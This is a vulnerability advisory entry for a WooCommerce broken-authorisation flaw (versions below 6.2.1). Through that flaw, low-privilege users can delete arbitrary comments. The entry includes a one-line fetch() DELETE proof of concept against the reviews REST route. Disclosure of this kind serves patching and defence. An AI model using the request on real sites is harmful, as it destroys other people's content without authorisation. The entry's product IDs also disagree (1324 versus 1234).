Lucene search

K
wpvulndbKrzysztof ZającWPVDB-ID:B76DBF37-A0A2-48CF-BD85-3EBBC2F394DD
HistoryFeb 23, 2022 - 12:00 a.m.

WooCommerce < 6.2.1 - Subscriber+ Arbitrary Comment Deletion

2022-02-2300:00:00
Krzysztof Zając
wpscan.com
17

0.001 Low

EPSS

Percentile

19.2%

The plugin does not have proper authorisation check when deleting reviews, which could allow any authenticated users, such as subscriber to delete arbitrary comment

PoC

Log in as any user (with privileges as low as Subscriber). fetch(“https://127.0.0.1:8001/?rest_route=/wc/v2/products/1324/reviews/2&amp;force;=1”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “DELETE”, “credentials”: “include” }); That needs product 1234 to not exist. It will permanently remove comment with ID 2.

CPENameOperatorVersion
woocommercelt6.2.1

0.001 Low

EPSS

Percentile

19.2%

Related for WPVDB-ID:B76DBF37-A0A2-48CF-BD85-3EBBC2F394DD